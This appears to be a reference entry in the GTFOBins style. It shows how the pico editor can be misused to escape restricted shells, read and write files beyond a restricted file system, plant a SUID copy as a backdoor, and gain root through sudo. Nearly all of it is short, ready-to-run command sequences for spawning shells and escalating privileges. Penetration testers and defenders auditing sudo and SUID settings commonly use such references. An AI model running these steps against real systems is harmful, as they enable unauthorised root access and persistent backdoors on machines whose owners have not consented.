.. / pico

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

```
pico
^R^X
reset; sh 1>&0 2>&0
```
The SPELL environment variable can be used in place of the -s option if the command line cannot be changed.
```
pico -s /bin/sh
/bin/sh
^T
```

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

```
pico file_to_write
DATA
^O
```

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

```
pico file_to_read
```

SUID

It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian that allow the default sh shell to run with SUID privileges.

The SPELL environment variable can be used in place of the -s option if the command line cannot be changed.
```
sudo sh -c 'cp $(which pico) .; chmod +s ./pico'

./pico
^R^X
reset; sh 1>&0 2>&0
```

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.

```
sudo pico
^R^X
reset; sh 1>&0 2>&0
```